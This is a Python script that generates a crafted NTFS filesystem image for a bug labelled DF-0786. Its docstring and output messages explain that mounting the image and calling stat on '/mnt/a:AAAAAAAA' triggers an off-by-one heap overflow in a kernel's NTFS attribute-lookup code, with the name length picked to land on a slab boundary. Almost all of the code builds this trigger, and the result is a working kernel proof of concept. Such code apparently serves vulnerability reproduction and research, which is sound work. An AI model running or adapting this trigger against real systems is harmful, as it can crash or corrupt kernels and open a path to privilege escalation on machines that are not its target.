#!/usr/bin/env python3
"""
gen_ntfs.py — Minimal valid NTFS filesystem image generator for DF-0786.

Creates a tiny but mountable NTFS image so we can trigger the off-by-one
heap overflow in ntfs_ntlookupattr() (sys/vfs/ntfs/ntfs_subr.c:826-828)
via a stat("/mnt/a:ATTRNAME") on ANY mounted NTFS volume.

Layout (bps=512, spc=8, cluster=4096):
  Cluster  0      : boot sector
  Cluster  1      : unused
  Clusters 2-12   : 11 MFT records (ino 0..10), 4096 bytes each
  Clusters 13-44  : $UpCase data (131072 bytes = 32 clusters)
  Clusters 45-63  : unused

The root directory (ino 5) contains one index entry for filename "a".
stat("/mnt/a:AAAAAAAA") triggers ntfs_ntlookupattr with namelen=8,
which kmalloc(8)+memcpy(8)+buf[8]=0 → off-by-one NUL past the 8-byte slab chunk.
"""
import struct, sys

BPS   = 512
SPC   = 8
CLUS  = BPS * SPC          # 4096
MFTCN = 2
MFTRECSZ = 1               # clusters per MFT record
BPMFTREC = SPC * MFTRECSZ  # sectors per MFT record = 8
MFTRECBYTES = BPS * BPMFTREC  # 4096
NUM_CLUSTERS = 64
SPV = NUM_CLUSTERS * SPC   # sectors per volume = 512

UPCASE_CN  = 13            # $UpCase data starts at cluster 13
UPCASE_NCL = 32            # 32 clusters = 131072 bytes

FILE_MAGIC = 0x454C4946
END_ATTR   = 0xFFFFFFFF

NTFS_A_DATA     = 0x80
NTFS_A_INDXROOT = 0x90
NTFS_AF_INRUN   = 0x01
NTFS_FRFLAG_DIR = 0x0002
NTFS_IEFLAG_LAST = 0x02

def le16(v): return struct.pack('<H', v & 0xFFFF)
def le32(v): return struct.pack('<I', v & 0xFFFFFFFF)
def le64(v): return struct.pack('<Q', v & 0xFFFFFFFFFFFFFFFF)

def wstr(s):
    """ASCII string → UTF-16LE bytes."""
    return b''.join(struct.pack('<H', ord(c)) for c in s)

def make_boot_sector():
    """struct bootfile (73 bytes packed)."""
    b = bytearray(BPS)
    b[0:3]  = b'\xEB\x52\x90'           # jmp near
    b[3:11] = b'NTFS    '               # bf_sysid
    struct.pack_into('<H', b, 11, BPS)   # bf_bps = 512
    b[13]   = SPC                       # bf_spc = 8
    # reserved2[7] at 14-20 = zeros
    b[21]   = 0xF8                      # bf_media
    # reserved3[2] at 22-23 = zeros
    struct.pack_into('<H', b, 24, 1)     # bf_spt
    struct.pack_into('<H', b, 26, 1)     # bf_heads
    # reserver4[12] at 28-39 = zeros
    struct.pack_into('<Q', b, 40, SPV)          # bf_spv
    struct.pack_into('<Q', b, 48, MFTCN)        # bf_mftcn = 2
    struct.pack_into('<Q', b, 56, 40)           # bf_mftmirrcn
    b[64]   = MFTRECSZ                  # bf_mftrecsz = 1
    struct.pack_into('<I', b, 65, CLUS)         # bf_ibsz = 4096
    struct.pack_into('<I', b, 69, 0x12345678)   # bf_volsn
    return bytes(b)

def apply_fixups(rec):
    """Apply NTFS fixup array to a 4096-byte MFT record.

    fh_foff at offset 4, fh_fnum at offset 6.
    Fixup signature = rec[fh_foff..fh_foff+2].
    Each sector's last 2 bytes must match the signature.
    Replacement values go into the fixup array.
    For simplicity, we use signature=0x0000 and all-zero replacements,
    ensuring sector boundaries are 0x0000 (they already are in our zero-filled records).
    """
    r = bytearray(rec)
    fh_foff = struct.unpack_from('<H', r, 4)[0]
    fh_fnum = struct.unpack_from('<H', r, 6)[0]

    # Use a non-zero signature to be realistic; set replacement values = original bytes
    sig = 0x0000  # use zero signature so all boundary bytes (already zero) match

    # Write fixup array: [sig, repl0, repl1, ...]
    struct.pack_into('<H', r, fh_foff, sig)
    for i in range(1, fh_fnum):
        repl = 0x0000
        struct.pack_into('<H', r, fh_foff + i * 2, repl)

    # Ensure each sector's last 2 bytes == sig
    for sec in range(fh_fnum - 1):
        off = sec * BPS + BPS - 2
        struct.pack_into('<H', r, off, sig)

    return bytes(r)

def make_file_record(attr_data, flags=0, seqnum=1, nlink=1):
    """Build a complete 4096-byte FILE record with given attributes."""
    rec = bytearray(MFTRECBYTES)

    attroff = 72   # after fixup array (48 + 9*2 = 66, rounded to 72)

    # fixuphdr
    struct.pack_into('<I', rec, 0, FILE_MAGIC)
    struct.pack_into('<H', rec, 4, 48)          # fh_foff
    struct.pack_into('<H', rec, 6, MFTRECBYTES // BPS + 1)  # fh_fnum = 9

    # filerec fields
    # reserved[8] at offset 8 = zeros
    struct.pack_into('<H', rec, 16, seqnum)     # fr_seqnum
    struct.pack_into('<H', rec, 18, nlink)      # fr_nlink
    struct.pack_into('<H', rec, 20, attroff)    # fr_attroff
    struct.pack_into('<H', rec, 22, flags)      # fr_flags
    used = attroff + len(attr_data) + 4         # +4 for end marker
    struct.pack_into('<I', rec, 24, used)       # fr_size (used size)
    struct.pack_into('<I', rec, 28, MFTRECBYTES) # fr_allocated
    struct.pack_into('<Q', rec, 32, 0)          # fr_mainrec
    struct.pack_into('<H', rec, 40, 0)          # fr_attrnum

    # Write attributes at attroff
    rec[attroff:attroff + len(attr_data)] = attr_data
    # End marker
    struct.pack_into('<I', rec, attroff + len(attr_data), END_ATTR)

    return apply_fixups(bytes(rec))

def make_attr_resident(atype, data, name=None):
    """Build a resident attribute.

    name: string like "$I30" or None for unnamed.
    """
    name_bytes = wstr(name) if name else b''
    namelen = len(name) // 2 if name else 0

    # attrhdr: 16 bytes
    # resident header: 8 bytes (at offset 16)
    # name: at offset 24 (if named)
    # data: after name
    nameoff = 24 if namelen else 0
    dataoff = 24 + len(name_bytes)
    total = dataoff + len(data)
    # Round up to 8
    total = (total + 7) & ~7

    a = bytearray(total)
    # attrhdr
    struct.pack_into('<I', a, 0, atype)         # a_type
    struct.pack_into('<I', a, 4, total)         # reclen
    a[8] = 0                                    # a_flag (resident)
    a[9] = namelen                              # a_namelen
    a[10] = nameoff                             # a_nameoff
    a[11] = 0                                   # reserved1
    a[12] = 0                                   # a_compression
    a[13] = 0                                   # reserved2
    struct.pack_into('<H', a, 14, 0)            # a_index

    # resident header
    struct.pack_into('<H', a, 16, len(data))    # a_datalen
    struct.pack_into('<H', a, 18, 0)            # reserved1
    struct.pack_into('<H', a, 20, dataoff)      # a_dataoff
    struct.pack_into('<H', a, 22, 0)            # a_indexed

    # name
    if name_bytes:
        a[24:24 + len(name_bytes)] = name_bytes

    # data
    a[dataoff:dataoff + len(data)] = data

    return bytes(a)

def make_attr_nonresident(atype, vcnstart, vcnend, datalen, allocated, run_bytes, name=None):
    """Build a non-resident attribute with a run list."""
    name_bytes = wstr(name) if name else b''
    namelen = len(name) // 2 if name else 0

    # attrhdr: 16 bytes
    # non-resident header: 48 bytes (at offset 16)
    # name: at offset 64 (if named)
    # run list: after name
    nameoff = 64 if namelen else 0
    dataoff = 64 + len(name_bytes)
    total = dataoff + len(run_bytes)
    total = (total + 7) & ~7

    a = bytearray(total)
    struct.pack_into('<I', a, 0, atype)
    struct.pack_into('<I', a, 4, total)
    a[8] = NTFS_AF_INRUN                        # a_flag (non-resident)
    a[9] = namelen
    a[10] = nameoff
    struct.pack_into('<H', a, 14, 0)

    # non-resident header
    struct.pack_into('<Q', a, 16, vcnstart)     # a_vcnstart
    struct.pack_into('<Q', a, 24, vcnend)       # a_vcnend
    struct.pack_into('<H', a, 32, dataoff)      # a_dataoff
    struct.pack_into('<H', a, 34, 0)            # a_compressalg
    struct.pack_into('<I', a, 36, 0)            # reserved1
    struct.pack_into('<Q', a, 40, allocated)    # a_allocated
    struct.pack_into('<Q', a, 48, datalen)      # a_datalen
    struct.pack_into('<Q', a, 56, datalen)      # a_initialized

    # name
    if name_bytes:
        a[64:64 + len(name_bytes)] = name_bytes

    # run list
    a[dataoff:dataoff + len(run_bytes)] = run_bytes

    return bytes(a)

def make_run_list(runs):
    """Encode a list of (length_clusters, offset_from_prev) into NTFS run list bytes."""
    out = bytearray()
    for length, offset in runs:
        # Determine bytes needed for length and offset
        lb = max(1, (length.bit_length() + 7) // 8)
        ob = max(1, (offset.bit_length() + 7) // 8) if offset >= 0 else 8
        hdr = (ob << 4) | lb
        out.append(hdr)
        out += length.to_bytes(lb, 'little')
        if offset >= 0:
            out += offset.to_bytes(ob, 'little')
        else:
            # Negative offset (two's complement)
            out += (offset & ((1 << (ob * 8)) - 1)).to_bytes(ob, 'little')
    out.append(0)  # terminator
    return bytes(out)

def make_index_entry(fname_str, ino_num, flag=0):
    """Build an attr_indexentry struct for a given filename."""
    fname_w = wstr(fname_str)
    fnamelen = len(fname_str)

    # Fixed part: 82 bytes
    # Variable: fnamelen * 2 bytes for the name
    entry_size = 82 + len(fname_w)
    # Align to 8
    entry_size = (entry_size + 7) & ~7

    e = bytearray(entry_size)
    struct.pack_into('<I', e, 0, ino_num)       # ie_number
    struct.pack_into('<I', e, 4, 0)             # unknown1
    struct.pack_into('<H', e, 8, entry_size)    # reclen
    struct.pack_into('<H', e, 10, 0)            # ie_size
    struct.pack_into('<I', e, 12, flag)         # ie_flag
    struct.pack_into('<I', e, 16, 5)            # ie_fpnumber (parent=root)
    struct.pack_into('<I', e, 20, 0)            # unknown2
    # ie_ftimes: 32 bytes of zeros (offset 24-55)
    struct.pack_into('<Q', e, 56, 0)            # ie_fallocated
    struct.pack_into('<Q', e, 64, 0)            # ie_fsize
    struct.pack_into('<Q', e, 72, 0)            # ie_fflag
    e[80] = fnamelen                            # ie_fnamelen
    e[81] = 0                                   # ie_fnametype (POSIX)
    e[82:82 + len(fname_w)] = fname_w           # ie_fname

    return bytes(e)

def make_index_root_data():
    """Build INDEX_ROOT attribute data: header + entries."""
    # struct attr_indexroot: 32 bytes
    iroot = bytearray(32)
    struct.pack_into('<I', iroot, 0, 0x30)      # ir_unkn1
    struct.pack_into('<I', iroot, 4, 0x01)      # ir_unkn2
    struct.pack_into('<I', iroot, 8, CLUS)      # ir_size = 4096
    struct.pack_into('<I', iroot, 12, 1)        # ir_unkn3
    struct.pack_into('<I', iroot, 16, 0x10)     # ir_unkn4
    struct.pack_into('<I', iroot, 20, 0)        # ir_datalen (filled later)
    struct.pack_into('<I', iroot, 24, 0)        # ir_allocated
    struct.pack_into('<H', iroot, 28, 1)        # ir_flag
    struct.pack_into('<H', iroot, 30, 0)        # ir_unkn7

    # Index entries
    entry_a = make_index_entry("a", ino_num=0, flag=0)
    entry_last = make_index_entry("", ino_num=0, flag=NTFS_IEFLAG_LAST)

    data = bytes(iroot) + entry_a + entry_last

    # Update ir_datalen and ir_allocated
    data = bytearray(data)
    struct.pack_into('<I', data, 20, len(data))  # ir_datalen
    struct.pack_into('<I', data, 24, len(data))  # ir_allocated

    return bytes(data)

def make_attrdef_data():
    """Build $AttrDef $DATA: one entry for $DATA (type 0x80) + terminator."""
    # struct attrdef: 160 bytes each
    # ad_name: 64 wchars = 128 bytes
    # ad_type: u32
    # reserved1: u32[2]
    # ad_flag: u32
    # ad_minlen: u64
    # ad_maxlen: u64

    entry = bytearray(160)
    name_w = wstr("$DATA")
    entry[0:len(name_w)] = name_w
    struct.pack_into('<I', entry, 128, NTFS_A_DATA)  # ad_type = 0x80
    struct.pack_into('<I', entry, 140, 0x0080)       # ad_flag (can be indexed)
    struct.pack_into('<Q', entry, 144, 0)            # ad_minlen
    struct.pack_into('<Q', entry, 152, 0xFFFFFFFFFFFFFFFF)  # ad_maxlen (-1)

    # Terminator entry: ad_name[0] = 0
    term = bytearray(160)

    return bytes(entry) + bytes(term)

def make_bitmap_data():
    """Build $Bitmap $DATA: mark clusters 0-44 as used."""
    n_bytes = (NUM_CLUSTERS + 7) // 8
    bm = bytearray(n_bytes)
    for cn in range(UPCASE_CN + UPCASE_NCL):  # 0..44
        bm[cn // 8] |= (1 << (cn % 8))
    return bytes(bm)

def make_upcase_data():
    """Build $UpCase data: 65536 wchar identity table (lowercase→uppercase).

    For our purposes, an identity table (each char maps to itself) suffices.
    Exact case matches will work regardless.
    """
    data = bytearray(65536 * 2)
    for i in range(65536):
        struct.pack_into('<H', data, i * 2, i)
    return bytes(data)

def build_mft_record_0():
    """ino 0: $MFT — $DATA non-resident mapping MFT clusters."""
    run = make_run_list([(11, MFTCN)])  # 11 clusters starting at cluster 2
    attr = make_attr_nonresident(
        NTFS_A_DATA,
        vcnstart=0, vcnend=10,          # 11 clusters (VCN 0..10)
        datalen=11 * CLUS,
        allocated=11 * CLUS,
        run_bytes=run
    )
    return make_file_record(attr, flags=NTFS_FRFLAG_DIR, seqnum=1, nlink=1)

def build_mft_record_4():
    """ino 4: $AttrDef — $DATA resident with attrdef entries."""
    data = make_attrdef_data()
    attr = make_attr_resident(NTFS_A_DATA, data)
    return make_file_record(attr, flags=0, seqnum=1, nlink=1)

def build_mft_record_5():
    """ino 5: Root directory — $INDEX_ROOT ($I30) resident."""
    iroot_data = make_index_root_data()
    attr = make_attr_resident(NTFS_A_INDXROOT, iroot_data, name="$I30")
    return make_file_record(attr, flags=NTFS_FRFLAG_DIR, seqnum=1, nlink=1)

def build_mft_record_6():
    """ino 6: $Bitmap — $DATA resident."""
    data = make_bitmap_data()
    attr = make_attr_resident(NTFS_A_DATA, data)
    return make_file_record(attr, flags=0, seqnum=1, nlink=1)

def build_mft_record_10():
    """ino 10: $UpCase — $DATA non-resident."""
    run = make_run_list([(UPCASE_NCL, UPCASE_CN)])  # 32 clusters at cluster 13
    attr = make_attr_nonresident(
        NTFS_A_DATA,
        vcnstart=0, vcnend=UPCASE_NCL - 1,
        datalen=65536 * 2,
        allocated=65536 * 2,
        run_bytes=run
    )
    return make_file_record(attr, flags=0, seqnum=1, nlink=1)

def build_mft_minimal():
    """Minimal valid FILE record (for inos we don't access)."""
    return make_file_record(b'', flags=0, seqnum=1, nlink=0)

def build_image():
    img = bytearray(NUM_CLUSTERS * CLUS)

    # Boot sector in cluster 0
    boot = make_boot_sector()
    img[0:len(boot)] = boot

    # MFT records at clusters 2-12 (ino 0-10)
    mft_records = [None] * 11
    mft_records[0]  = build_mft_record_0()
    mft_records[1]  = build_mft_minimal()
    mft_records[2]  = build_mft_minimal()
    mft_records[3]  = build_mft_minimal()
    mft_records[4]  = build_mft_record_4()
    mft_records[5]  = build_mft_record_5()
    mft_records[6]  = build_mft_record_6()
    mft_records[7]  = build_mft_minimal()
    mft_records[8]  = build_mft_minimal()
    mft_records[9]  = build_mft_minimal()
    mft_records[10] = build_mft_record_10()

    for i in range(11):
        offset = (MFTCN + i) * CLUS
        rec = mft_records[i]
        img[offset:offset + len(rec)] = rec

    # $UpCase data at clusters 13-44
    upcase = make_upcase_data()
    upcase_off = UPCASE_CN * CLUS
    img[upcase_off:upcase_off + len(upcase)] = upcase

    return bytes(img)

if __name__ == '__main__':
    out = sys.argv[1] if len(sys.argv) > 1 else 'ntfs.img'
    img = build_image()
    with open(out, 'wb') as f:
        f.write(img)
    print(f"Generated {out}: {len(img)} bytes ({len(img)//1024} KB)")
    print(f"  bps={BPS} spc={SPC} cluster={CLUS} mftcn={MFTCN}")
    print(f"  Root dir has index entry 'a' (ino 0)")
    print(f"  Trigger: stat /mnt/a:AAAAAAAA  (namelen=8 = slab bucket boundary)")